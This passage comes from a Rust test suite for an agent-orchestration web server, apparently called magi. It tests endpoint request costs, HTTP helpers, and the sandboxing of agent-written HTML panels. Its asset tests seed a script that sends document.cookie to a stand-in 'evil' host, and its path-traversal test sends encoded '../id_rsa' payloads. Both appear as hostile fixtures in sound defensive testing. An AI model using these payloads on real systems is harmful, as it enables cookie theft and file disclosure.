10864                let cost = request_counts(&fx.get(path).await);
10865                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10866                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10867                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10868                costs.push(cost);
10869            }
10870            if let Some(previous) = previous {
10871                assert_eq!(costs, previous);
10872            }
10873            previous = Some(costs);
10874        }
10875        // runs reads shared row inputs and probes process liveness; queue
10876        // builds one blocker inventory; notifications reads its own store.
10877        // None discovers configuration or spawns git per item.
10878    }
10879
10880    /// The same handler path without transport, so the deterministic cause
10881    /// can also be checked in environments that prohibit binding sockets.
10882    #[tokio::test]
10883    async fn list_handler_cost_without_transport() {
10884        let (_tmp, repos) = performance_repositories().await;
10885        let fx = Fixture {
10886            home: TempDir::new().unwrap(),
10887            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10888        };
10889        let ui = Arc::new(
10890            Ui::new(
10891                fx.queue(),
10892                fx.questions(),
10893                fx.talks(),
10894                fx.runs(),
10895                fx.home.path().to_path_buf(),
10896                repos[0].clone(),
10897            )
10898            .with_worktrees_root(fx.home.path().join("wt")),
10899        );
10900        let mut previous = None;
10901        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10902            seed_performance(&fx, &repos, n, runs, items);
10903            let mut costs = Vec::new();
10904            for endpoint in ["questions", "talks", "health", "stats"] {
10905                for repo in &repos {
10906                    let cache = repo.join(".git/magi/config");
10907                    if cache.exists() {
10908                        std::fs::remove_dir_all(cache).unwrap();
10909                    }
10910                }
10911                let (_, cost) = request_cost::measure(async {
10912                    match endpoint {
10913                        "questions" => {
10914                            let _ = questions_list(State(ui.clone())).await.unwrap();
10915                        }
10916                        "talks" => {
10917                            let _ = talks_list(
10918                                State(ui.clone()),
10919                                Query(ListQuery {
10920                                    limit: None,
10921                                    ids: None,
10922                                }),
10923                            )
10924                            .await
10925                            .unwrap();
10926                        }
10927                        "health" => {
10928                            let _ = health(State(ui.clone())).await.unwrap();
10929                        }
10930                        _ => {
10931                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10932                                .await
10933                                .unwrap();
10934                        }
10935                    }
10936                })
10937                .await;
10938                eprintln!("{endpoint} handler N={n}: {cost:?}");
10939                assert_eq!(
10940                    cost.0,
10941                    if endpoint == "talks" { 2 } else { 1 },
10942                    "{endpoint}"
10943                );
10944                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10945                costs.push(cost);
10946            }
10947            if let Some(previous) = previous {
10948                assert_eq!(costs, previous);
10949            }
10950            previous = Some(costs);
10951        }
10952    }
10953
10954    #[tokio::test]
10955    async fn list_request_cost_scopes_do_not_mix() {
10956        let (_tmp, repos, fx) = performance_fixture().await;
10957        seed_performance(&fx, &repos, 10, 0, 10);
10958        let (questions, talks, notices) = tokio::join!(
10959            fx.get("/api/questions"),
10960            fx.get("/api/talks"),
10961            fx.get("/api/notifications")
10962        );
10963        assert_eq!(request_counts(&questions).0, 1);
10964        assert_eq!(request_counts(&talks).0, 2);
10965        assert_eq!(request_counts(&notices), (0, 0));
10966    }
10967
10968    #[tokio::test]
10969    async fn list_endpoints_large_home_responses() {
10970        check_large_home_endpoints(false).await;
10971    }
10972
10973    #[tokio::test]
10974    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10975    async fn list_endpoints_large_home_ceiling() {
10976        check_large_home_endpoints(true).await;
10977    }
10978
10979    async fn check_large_home_endpoints(timed: bool) {
10980        let (_tmp, repos, fx) = performance_fixture().await;
10981        seed_performance(&fx, &repos, 200, 300, 400);
10982        let mut failures = Vec::new();
10983        // app.js boot/change loads plus the initial dashboard, settings and
10984        // repo picker. SSE is a persistent stream, not a bounded GET.
10985        for path in [
10986            "/",
10987            "/app.js",
10988            "/app.css",
10989            "/api/questions",
10990            "/api/runs?limit=300",
10991            "/api/queue",
10992            "/api/talks",
10993            "/api/notifications",
10994            "/api/health",
10995            "/api/stats",
10996            "/api/loop",
10997            "/api/settings",
10998            "/api/repos",
10999        ] {
11000            let start = std::time::Instant::now();
11001            let result = if timed {
11002                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11003            } else {
11004                Ok(fx.get(path).await)
11005            };
11006            let elapsed = start.elapsed();
11007            eprintln!("{path}: {elapsed:?}");
11008            match result {
11009                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11010                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11011                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11012            }
11013        }
11014        assert!(failures.is_empty(), "{}", failures.join("\n"));
11015    }
11016
11017    struct Res {
11018        status: u16,
11019        headers: String,
11020        /// The header block with its original casing, for the assertions that
11021        /// compare a header *value* rather than looking for a name. Lowercasing
11022        /// a CSP would hide a directive spelled with a capital letter, and the
11023        /// whole point of that test is that the string is exactly right.
11024        head: String,
11025        body: String,
11026        /// The body before any UTF-8 handling, for the routes that serve
11027        /// something other than text. A panel asset is a PNG as often as not,
11028        /// and `from_utf8_lossy` would silently replace half of it.
11029        bytes: Vec<u8>,
11030    }
11031
11032    impl Res {
11033        fn json(&self) -> Value {
11034            serde_json::from_str(&self.body)
11035                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11036        }
11037
11038        /// One header's value verbatim, or `None` when it was not sent.
11039        fn header(&self, name: &str) -> Option<&str> {
11040            self.head.lines().find_map(|line| {
11041                let (key, value) = line.split_once(':')?;
11042                key.trim()
11043                    .eq_ignore_ascii_case(name)
11044                    .then(|| value.trim_start().trim_end_matches('\r'))
11045            })
11046        }
11047    }
11048
11049    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11050    /// be read to end-of-stream without parsing framing.
11051    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11052        request_with(addr, method, path, body, &[]).await
11053    }
11054
11055    /// As [`request`], with extra request headers - conditional GETs need
11056    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11057    /// worse than one that sets none.
11058    async fn request_with(
11059        addr: SocketAddr,
11060        method: &str,
11061        path: &str,
11062        body: Option<&str>,
11063        extra: &[(&str, &str)],
11064    ) -> Res {
11065        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11066        for (name, value) in extra {
11067            head.push_str(&format!("{name}: {value}\r\n"));
11068        }
11069        if let Some(body) = body {
11070            head.push_str("Content-Type: application/json\r\n");
11071            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11072        }
11073        head.push_str("\r\n");
11074        if let Some(body) = body {
11075            head.push_str(body);
11076        }
11077        let mut socket = tokio::net::TcpStream::connect(addr)
11078            .await
11079            .expect("connect to the test server");
11080        socket
11081            .write_all(head.as_bytes())
11082            .await
11083            .expect("write request");
11084        let mut raw = Vec::new();
11085        socket.read_to_end(&mut raw).await.expect("read response");
11086        // Split on the raw bytes rather than on a lossy string, so a binary
11087        // body survives to be compared byte for byte.
11088        let split = raw
11089            .windows(4)
11090            .position(|w| w == b"\r\n\r\n")
11091            .expect("a header block");
11092        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11093        let bytes = raw[split + 4..].to_vec();
11094        let status = head
11095            .lines()
11096            .next()
11097            .and_then(|line| line.split_whitespace().nth(1))
11098            .and_then(|code| code.parse().ok())
11099            .expect("a status line");
11100        Res {
11101            status,
11102            headers: head.to_lowercase(),
11103            head,
11104            body: String::from_utf8_lossy(&bytes).into_owned(),
11105            bytes,
11106        }
11107    }
11108
11109    /// A `POST` carrying a raw binary body and its own headers, for the
11110    /// attachment upload route - `request_with` only ever sends
11111    /// `Content-Type: application/json`, which is wrong for an image and
11112    /// would corrupt anything not valid UTF-8 by round-tripping it through
11113    /// `&str` first.
11114    async fn request_bytes(
11115        addr: SocketAddr,
11116        path: &str,
11117        headers: &[(&str, &str)],
11118        body: &[u8],
11119    ) -> Res {
11120        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11121        for (name, value) in headers {
11122            head.push_str(&format!("{name}: {value}\r\n"));
11123        }
11124        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11125        let mut socket = tokio::net::TcpStream::connect(addr)
11126            .await
11127            .expect("connect to the test server");
11128        socket
11129            .write_all(head.as_bytes())
11130            .await
11131            .expect("write request head");
11132        socket.write_all(body).await.expect("write request body");
11133        let mut raw = Vec::new();
11134        socket.read_to_end(&mut raw).await.expect("read response");
11135        let split = raw
11136            .windows(4)
11137            .position(|w| w == b"\r\n\r\n")
11138            .expect("a header block");
11139        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11140        let bytes = raw[split + 4..].to_vec();
11141        let status = head
11142            .lines()
11143            .next()
11144            .and_then(|line| line.split_whitespace().nth(1))
11145            .and_then(|code| code.parse().ok())
11146            .expect("a status line");
11147        Res {
11148            status,
11149            headers: head.to_lowercase(),
11150            head,
11151            body: String::from_utf8_lossy(&bytes).into_owned(),
11152            bytes,
11153        }
11154    }
11155
11156    /// A run on disk, without touching the process-global magi home.
11157    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11158        let mut state = RunState::new(
11159            PathBuf::from("/repo/magi"),
11160            "main".to_owned(),
11161            "0123456789abcdef".to_owned(),
11162            "Add a web UI\n\nMobile first.".to_owned(),
11163            Config::default(),
11164        );
11165        state.id = id.to_owned();
11166        state.status = status;
11167        let dir = runs.join(id);
11168        std::fs::create_dir_all(&dir).expect("run dir");
11169        std::fs::write(
11170            dir.join("run.json"),
11171            serde_json::to_string_pretty(&state).expect("serialize run"),
11172        )
11173        .expect("write run.json");
11174    }
11175
11176    /// Same as [`write_run`], but against a named repository rather than the
11177    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11178    /// spread across more than one.
11179    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11180        let mut state = RunState::new(
11181            PathBuf::from(repo),
11182            "main".to_owned(),
11183            "0123456789abcdef".to_owned(),
11184            "task".to_owned(),
11185            Config::default(),
11186        );
11187        state.id = id.to_owned();
11188        state.status = status;
11189        let dir = runs.join(id);
11190        std::fs::create_dir_all(&dir).expect("run dir");
11191        std::fs::write(
11192            dir.join("run.json"),
11193            serde_json::to_string_pretty(&state).expect("serialize run"),
11194        )
11195        .expect("write run.json");
11196    }
11197
11198    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11199        let body = serde_json::json!({
11200            "schema": 1,
11201            "pid": 4242,
11202            "started_at": Timestamp::now().to_string(),
11203            "updated_at": updated_at.to_string(),
11204            "idle": false,
11205            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11206            "completed": 7,
11207            "polls": 143,
11208        });
11209        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11210    }
11211
11212    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11213    ///
11214    /// No test in this file may start the real loop - see [`Ui::launch`] for
11215    /// why - so this stands in for the only thing the routes need a loop to
11216    /// do: keep running until `Stop` is set, then return. A real
11217    /// `serve_until` here would resolve its queue and its status file through
11218    /// the process-global magi home, claim whatever it found in the
11219    /// operator's live backlog, overwrite the status file of the `magi serve`
11220    /// that owns it, and spend real agent quota on a real competition.
11221    fn launch_idle(
11222        _opts: daemon::Opts,
11223        stop: daemon::Stop,
11224    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11225        Box::pin(async move {
11226            while !stop.stopped() {
11227                tokio::time::sleep(Duration::from_millis(2)).await;
11228            }
11229            Ok(())
11230        })
11231    }
11232
11233    /// A loop that fails on the way up, the way one whose home has gone
11234    /// read-only does.
11235    fn launch_broken(
11236        _opts: daemon::Opts,
11237        _stop: daemon::Stop,
11238    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11239        // The stand-in dies instantly, so a restarted one can record its own
11240        // failure before the start's response is read. The second attempt
11241        // therefore fails with a different message, to tell a stale error
11242        // from a fresh one.
11243        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11244        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11245        Box::pin(async move {
11246            Err(anyhow::anyhow!(if first {
11247                "publish the daemon status file: read-only file system"
11248            } else {
11249                "the restarted stand-in failed as well"
11250            }))
11251        })
11252    }
11253
11254    /// The loop view once `want` accepts it.
11255    ///
11256    /// Polled rather than asserted straight after the POST because stopping
11257    /// is deliberately not instant - that is the contract - and rather than
11258    /// slept through because a fixed wait is either flaky or slow.
11259    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11260    /// finite, so a genuine hang fails the test instead of hanging the
11261    /// suite.
11262    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11263        for _ in 0..SETTLE_STEPS {
11264            let view = fx.get("/api/loop").await.json();
11265            if want(&view) {
11266                return view;
11267            }
11268            tokio::time::sleep(Duration::from_millis(10)).await;
11269        }
11270        panic!(
11271            "the loop never settled: {}",
11272            fx.get("/api/loop").await.json()
11273        );
11274    }
11275
11276    /// File an open question directly in the store the server reads.
11277    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11278        let store = fx.questions();
11279        let mut q = Question::new(
11280            "20260902-000000-beef".to_owned(),
11281            "implement".to_owned(),
11282            "impl-A".to_owned(),
11283            summary.to_owned(),
11284            "because it matters".to_owned(),
11285            choices.iter().map(|c| (*c).to_owned()).collect(),
11286        );
11287        store.put(&mut q).expect("put question");
11288        q.id
11289    }
11290
11291    /// A question with a panel the server can serve, plus the named assets.
11292    ///
11293    /// Written through `Questions::put_panel` rather than by laying out the
11294    /// directory here, so these tests exercise the same on-disk shape the
11295    /// agents produce and cannot pass against a layout only the tests know.
11296    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11297        let store = fx.questions();
11298        let mut q = Question::new(
11299            "20260902-000000-beef".to_owned(),
11300            "land".to_owned(),
11301            "fix".to_owned(),
11302            "Merge this?".to_owned(),
11303            "the diff is in the panel".to_owned(),
11304            vec!["merge".to_owned(), "hold".to_owned()],
11305        );
11306        // Staged outside the questions root, because `put_panel` copies from
11307        // wherever the agent left its files.
11308        let staging = fx.home.path().join("staging");
11309        std::fs::create_dir_all(&staging).expect("staging dir");
11310        let sources: Vec<PathBuf> = assets
11311            .iter()
11312            .map(|(name, bytes)| {
11313                let path = staging.join(name);
11314                std::fs::write(&path, bytes).expect("write staged asset");
11315                path
11316            })
11317            .collect();
11318        store
11319            .put_panel(&mut q, html, &sources)
11320            .expect("write the panel");
11321        store.put(&mut q).expect("put question");
11322        q.id
11323    }
11324
11325    /// A talk on disk, without talking to a model.
11326    ///
11327    /// Written as JSON straight into the store the server reads, because the
11328    /// only constructor `talk::begin` offers takes no turn but still requires
11329    /// a real caller-visible flow. The one thing this cannot make up is the
11330    /// seat, so it is built with the real `SeatState::new` and serialized -
11331    /// the alternative, hand-writing that object, would make these tests fail
11332    /// the day the seat gains a field.
11333    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11334        seed_talk_at(&fx.talks(), id, status)
11335    }
11336
11337    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11338        std::fs::create_dir_all(store.root()).expect("talks dir");
11339        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11340            .expect("serialize a seat");
11341        let body = serde_json::json!({
11342            "schema": 1,
11343            "id": id,
11344            "repo": "/repo/magi",
11345            "agent": "mock",
11346            "status": status,
11347            "turns": [],
11348            "created_at": Timestamp::now().to_string(),
11349            "updated_at": Timestamp::now().to_string(),
11350            "seat": seat,
11351        });
11352        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11353        store.get(id).expect("the seeded talk has to be readable");
11354        id.to_owned()
11355    }
11356
11357    #[tokio::test]
11358    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11359        let fx = Fixture::start().await;
11360        let id = panel(
11361            &fx,
11362            "<h1>Merge?</h1><img src=\"diff.svg\">",
11363            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11364        );
11365
11366        for path in [
11367            format!("/api/questions/{id}/panel"),
11368            format!("/api/questions/{id}/asset/diff.svg"),
11369        ] {
11370            let res = fx.get(&path).await;
11371            assert_eq!(res.status, 200, "{path}: {}", res.body);
11372            // The whole string, not a substring. A weakened directive - an
11373            // `img-src *` that lets a panel beacon out to a remote host, a
11374            // `script-src` anything, a missing `form-action` that lets it post
11375            // the owner's decision to a third party - has to fail here, and a
11376            // `contains` assertion would let every one of those through.
11377            assert_eq!(
11378                res.header("content-security-policy"),
11379                Some(
11380                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11381                     font-src data:; base-uri 'none'; form-action 'none'; \
11382                     frame-ancestors 'self'"
11383                ),
11384                "{path} is the only thing between a hostile panel and the tailnet"
11385            );
11386            assert_eq!(
11387                res.header("x-content-type-options"),
11388                Some("nosniff"),
11389                "{path}: a browser must not re-decide the type we sent"
11390            );
11391            assert_eq!(
11392                res.header("referrer-policy"),
11393                Some("no-referrer"),
11394                "{path}: a panel must not leak the question id off the machine"
11395            );
11396
11397            // The front end mounts the frame only after a `HEAD` says the
11398            // panel is there, so `HEAD` has to answer with the same status and
11399            // the same policy as `GET` - a preflight that came back without
11400            // the CSP would mean a frame mounted on an unverified promise.
11401            let pre = fx.head(&path).await;
11402            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11403            assert_eq!(
11404                pre.header("content-security-policy"),
11405                res.header("content-security-policy"),
11406                "{path}: the preflight carries the same policy"
11407            );
11408            assert_eq!(
11409                pre.header("content-type"),
11410                res.header("content-type"),
11411                "{path}: the preflight carries the same type"
11412            );
11413        }
11414    }
11415
11416    #[tokio::test]
11417    async fn a_panel_reaches_the_browser_byte_for_byte() {
11418        let fx = Fixture::start().await;
11419        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11420        // tag, an entity, and a multi-byte character. The sandbox is what makes
11421        // this safe, so nothing here may be rewritten on the way out - a
11422        // rewritten diff is a diff the owner cannot trust.
11423        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11424        let id = panel(&fx, html, &[]);
11425
11426        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11427
11428        assert_eq!(res.status, 200);
11429        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11430        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11431        assert_eq!(
11432            res.header("content-disposition"),
11433            None,
11434            "the panel itself is rendered in the frame, not downloaded"
11435        );
11436    }
11437
11438    #[tokio::test]
11439    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11440        let fx = Fixture::start().await;
11441        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11442        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11443        let id = panel(
11444            &fx,
11445            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11446            &[("diff.svg", svg), ("shot.png", png)],
11447        );
11448
11449        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11450        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11451
11452        assert_eq!(as_svg.status, 200);
11453        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11454        // An SVG is XML that may carry script. Inside the panel it is an
11455        // `<img src>` and the script cannot run; opened at the top level it
11456        // would be a document on magi's own origin, so the browser is told to
11457        // download it instead of rendering it.
11458        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11459
11460        assert_eq!(as_png.status, 200);
11461        assert_eq!(as_png.header("content-type"), Some("image/png"));
11462        assert_eq!(
11463            as_png.header("content-disposition"),
11464            None,
11465            "a raster image has no execution surface, so tapping it still shows it"
11466        );
11467        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11468    }
11469
11470    #[tokio::test]
11471    async fn an_html_asset_is_never_served_as_html() {
11472        let fx = Fixture::start().await;
11473        let id = panel(
11474            &fx,
11475            "<p>see the notes</p>",
11476            &[
11477                (
11478                    "notes.html",
11479                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11480                ),
11481                ("hook.js", b"fetch('http://evil/')"),
11482                ("data.json", b"{}"),
11483                ("HEADLINE.TXT", b"plain"),
11484            ],
11485        );
11486
11487        for name in ["notes.html", "hook.js", "data.json"] {
11488            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11489            assert_eq!(res.status, 200, "{name}: {}", res.body);
11490            // Serving this as text/html would be a way to reach agent markup
11491            // at the top level of the operator's browser, outside the frame's
11492            // sandbox and outside its CSP - which is the whole thing the panel
11493            // design exists to prevent. Unlisted types are downloads.
11494            assert_eq!(
11495                res.header("content-type"),
11496                Some("application/octet-stream"),
11497                "{name} must not be a type the browser will execute or render"
11498            );
11499        }
11500        // The whitelist is matched case-insensitively, so an agent shouting the
11501        // extension still gets a readable file rather than a download.
11502        let txt = fx
11503            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11504            .await;
11505        assert_eq!(
11506            txt.header("content-type"),
11507            Some("text/plain; charset=utf-8")
11508        );
11509    }
11510
11511    #[tokio::test]
11512    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11513        let fx = Fixture::start().await;
11514        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11515        // Something outside the panel directory that a traversal would reach if
11516        // one got through, so a passing test is not merely "the file was
11517        // missing anyway".
11518        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11519
11520        // Decoded before this server's handler sees them: axum percent-decodes
11521        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11522        // string with a NUL in it. All three look like ordinary single-segment
11523        // filenames to the router, so the router passes them through and
11524        // `valid_asset_name` is what refuses them - for the literal `..`, and
11525        // for `/`, `\` and NUL not being in the permitted character set.
11526        for encoded in [
11527            "%2e%2e%2fid_rsa",
11528            "..%2fid_rsa",
11529            "..%5cid_rsa",
11530            "%2e%2e%5cid_rsa",
11531            "diff%00.svg",
11532            "..",
11533            ".hidden",
11534            "%2e%2e%2f%2e%2e%2fid_rsa",
11535        ] {
11536            let res = fx
11537                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11538                .await;
11539            assert_eq!(
11540                res.status, 400,
11541                "`{encoded}` has to be refused by name, not looked up: {}",
11542                res.body
11543            );
11544            assert!(res.json()["error"].is_string(), "{}", res.body);
11545        }
11546
11547        // Not decoded, and never this handler's problem: a real slash makes the
11548        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11549        // so axum's router has no route to match and answers before any code
11550        // here runs. Asserted so that a future route with a wildcard segment
11551        // cannot quietly open this door.
11552        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11553            let res = fx
11554                .get(&format!("/api/questions/{id}/asset/{literal}"))
11555                .await;
11556            assert_eq!(
11557                res.status, 404,
11558                "`{literal}` must not match the asset route at all: {}",
11559                res.body
11560            );
11561        }
11562    }
11563
11564    #[tokio::test]
11565    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11566        let fx = Fixture::start().await;
11567        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11568        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11569
11570        // A question nobody wrote a panel for. The client preflights with HEAD
11571        // and cannot see inside a sandboxed frame, so this must be a status and
11572        // not an empty page.
11573        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11574        assert_eq!(none.status, 404, "{}", none.body);
11575        assert!(none.json()["error"].is_string(), "{}", none.body);
11576        assert_eq!(
11577            fx.head(&format!("/api/questions/{plain}/panel"))
11578                .await
11579                .status,
11580            404,
11581            "the preflight is the only way the client can learn this"
11582        );
11583
11584        // A name that is perfectly legal and simply is not there.
11585        let missing = fx
11586            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11587            .await;
11588        assert_eq!(missing.status, 404, "{}", missing.body);
11589        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11590
11591        // A question that does not exist at all, on both routes.
11592        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11593        assert_eq!(
11594            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11595            404
11596        );
11597    }
11598
11599    #[tokio::test]
11600    async fn a_run_with_an_open_question_reads_as_waiting() {
11601        let fx = Fixture::start().await;
11602        let run = "20260902-000000-beef".to_owned();
11603        write_run(&fx.runs(), &run, RunStatus::Implementing);
11604
11605        let before = fx.get("/api/runs").await.json();
11606        assert_eq!(before[0]["waiting"], false, "{before}");
11607
11608        let store = fx.questions();
11609        let mut q = Question::new(
11610            run.clone(),
11611            "implement".to_owned(),
11612            "impl-A".to_owned(),
11613            "Which backend?".to_owned(),
11614            String::new(),
11615            vec!["SQLite".to_owned()],
11616        );
11617        store.put(&mut q).expect("put");
11618
11619        let during = fx.get("/api/runs").await.json();
11620        assert_eq!(during[0]["waiting"], true, "{during}");
11621
11622        // Answered: the run is moving again, and the flag has to follow without
11623        // anything having rewritten run.json.
11624        q.answer(Answer::Choice("SQLite".to_owned()))
11625            .expect("answer");
11626        store.put(&mut q).expect("put");
11627        let after = fx.get("/api/runs").await.json();
11628        assert_eq!(after[0]["waiting"], false, "{after}");
11629    }
11630
11631    #[tokio::test]
11632    async fn an_open_question_is_listed_and_counted_by_health() {
11633        let fx = Fixture::start().await;
11634        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11635
11636        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11637        let listed = fx.get("/api/questions").await.json();
11638        assert_eq!(listed.as_array().expect("array").len(), 1);
11639        assert_eq!(listed[0]["id"], id);
11640        assert_eq!(listed[0]["status"], "open");
11641        assert_eq!(listed[0]["choices"][1], "Redis");
11642        // The count is what makes the phone's indicator honest: it is the one
11643        // number meaning nothing will move until a human acts.
11644        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11645    }
11646
11647    fn obsolete_approval_state() -> RunState {
11648        let mut state = crate::land::tests::repair_state(true, true);
11649        state.pr = Some(crate::run::PrRecord {
11650            url: "https://github.com/example/repo/pull/42".into(),
11651            number: 42,
11652            state: "open".into(),
11653            checks: "green".into(),
11654            round: 1,
11655            rounds: 4,
11656            red_at_merge: Vec::new(),
11657        });
11658        state
11659    }
11660
11661    #[tokio::test]
11662    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11663        for owner in ["missing", "current", "completed", "later"] {
11664            let fx = Fixture {
11665                home: TempDir::new().unwrap(),
11666                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11667            };
11668            let mut state = obsolete_approval_state();
11669            state.status = RunStatus::Landing;
11670            state.parked = true;
11671            state.driver_exited = true;
11672            let mut q = Question::new(
11673                state.id.clone(),
11674                crate::land::APPROVAL_NODE.into(),
11675                "land".into(),
11676                "Old approval".into(),
11677                "Original evidence".into(),
11678                vec!["merge".into(), "hold".into()],
11679            );
11680            state.land_approval = Some(crate::run::LandApproval {
11681                question: q.id.clone(),
11682                head: "head".into(),
11683            });
11684            state.save_under(fx.home.path()).unwrap();
11685            let stale = state.clone();
11686            fx.questions().put(&mut q).unwrap();
11687            let mut task = Task::new(
11688                "Owner".into(),
11689                "Original instruction".into(),
11690                state.repo.clone(),
11691                Source::Human,
11692            );
11693            task.runs.push(state.id.clone());
11694            task.status = if owner == "completed" {
11695                TaskStatus::Done
11696            } else {
11697                TaskStatus::Parked
11698            };
11699            if owner == "later" {
11700                task.runs.push("later-run".into());
11701            }
11702            if owner != "missing" {
11703                fx.queue().put(&mut task).unwrap();
11704            }
11705            let ui = Arc::new(Ui::new(
11706                fx.queue(),
11707                fx.questions(),
11708                fx.talks(),
11709                fx.runs(),
11710                fx.home.path().into(),
11711                state.repo.clone(),
11712            ));
11713            let response = question_answer(
11714                State(ui),
11715                Path(q.id.clone()),
11716                Ok(Json(NewAnswer {
11717                    choice: Some(crate::merge_decision::DISMISS.into()),
11718                    text: None,
11719                    ..Default::default()
11720                })),
11721            )
11722            .await
11723            .unwrap();
11724            assert_eq!(
11725                response.0.question.resolution().as_deref(),
11726                Some(crate::merge_decision::DISMISS)
11727            );
11728            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11729            assert_eq!(disk.status, RunStatus::Superseded);
11730            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11731            assert!(!crate::merge_decision::resumable_hold(&disk));
11732            assert_eq!(
11733                serde_json::to_value(&disk.pr).unwrap(),
11734                serde_json::to_value(&stale.pr).unwrap()
11735            );
11736            assert_eq!(fx.questions().count_open(), 0);
11737            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11738            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11739            if owner == "missing" {
11740                assert!(fx.queue().list().is_empty());
11741            } else {
11742                let after = fx.queue().get(&task.id).unwrap();
11743                assert_eq!(
11744                    after.status,
11745                    if owner == "current" {
11746                        TaskStatus::Done
11747                    } else {
11748                        task.status
11749                    }
11750                );
11751                assert_eq!(after.runs, task.runs);
11752                assert_eq!(after.instruction, task.instruction);
11753                assert_eq!(after.action_applied(&q.id), owner == "current");
11754            }
11755        }
11756    }
11757
11758    #[tokio::test]
11759    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11760        let fx = Fixture::start().await;
11761        let mut state = obsolete_approval_state();
11762        state.status = RunStatus::Landing;
11763        state.parked = true;
11764        state.driver_exited = true;
